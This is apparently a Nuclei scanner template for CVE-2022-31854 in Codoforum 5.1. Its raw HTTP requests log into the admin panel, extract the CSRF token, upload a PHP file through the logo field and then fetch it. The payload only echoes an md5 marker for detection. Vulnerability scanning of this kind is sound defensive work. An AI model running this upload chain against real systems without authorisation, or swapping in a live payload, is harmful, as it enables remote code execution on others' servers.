95 lines
3.4 KiB
YAML
95 lines
3.4 KiB
YAML
id: CVE-2022-31854
|
|
|
|
info:
|
|
name: Codoforum 5.1 - Arbitrary File Upload
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
Codoforum 5.1 contains an arbitrary file upload vulnerability via the logo change option in the admin panel. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code. As a result, an attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system.
|
|
remediation: |
|
|
Apply the latest security patch or upgrade to a patched version of Codoforum.
|
|
reference:
|
|
- https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
|
|
- https://codoforum.com
|
|
- https://vikaran101.medium.com/codoforum-v5-1-authenticated-rce-my-first-cve-f49e19b8bc
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-31854
|
|
- https://github.com/trhacknon/Pocingit
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2022-31854
|
|
cwe-id: CWE-434
|
|
epss-score: 0.26245
|
|
epss-percentile: 0.96727
|
|
cpe: cpe:2.3:a:codologic:codoforum:5.1:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: codologic
|
|
product: codoforum
|
|
tags: cve,cve2022,rce,codoforumrce,authenticated,intrusive,codologic
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /admin/?page=login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryACGPpj7UIqmtLNbB
|
|
|
|
------WebKitFormBoundaryACGPpj7UIqmtLNbB
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
{{username}}
|
|
------WebKitFormBoundaryACGPpj7UIqmtLNbB
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
{{password}}
|
|
------WebKitFormBoundaryACGPpj7UIqmtLNbB--
|
|
- |
|
|
GET /admin/index.php?page=config HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /admin/index.php?page=config HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLtdjuqj2ixPvBhA
|
|
|
|
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
|
|
Content-Disposition: form-data; name="site_title"
|
|
|
|
|
|
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
|
|
Content-Disposition: form-data; name="forum_logo"; filename="{{randstr}}.php"
|
|
Content-Type: application/x-httpd-php
|
|
|
|
<?php
|
|
|
|
echo md5('CVE-2022-31854');
|
|
|
|
?>
|
|
------WebKitFormBoundaryoLtdjuqj2ixPvBhA
|
|
Content-Disposition: form-data; name="CSRF_token"
|
|
|
|
{{csrf}}
|
|
------WebKitFormBoundaryoLtdjuqj2ixPvBhA--
|
|
- |
|
|
GET /sites/default/assets/img/attachments/{{randstr}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- status_code_4 == 200
|
|
- contains(content_type_4, "text/html")
|
|
- contains(body_4, "a63fd49130de6406a66600cd8caa162f")
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: csrf
|
|
group: 1
|
|
regex:
|
|
- name="CSRF_token" value="([0-9a-zA-Z]+)"/>
|
|
internal: true
|
|
# digest: 4a0a0047304502203b7aff62a84e4d74dfe0abefbe9ee6103c0ad1dc7a970a049eb98aa5d5841e53022100b8e80b19776099cfc3452a641dd41a3d64f1e5b6636842044c2d6628ec9a32e3:922c64590222798bb761d5b6d8e72950 |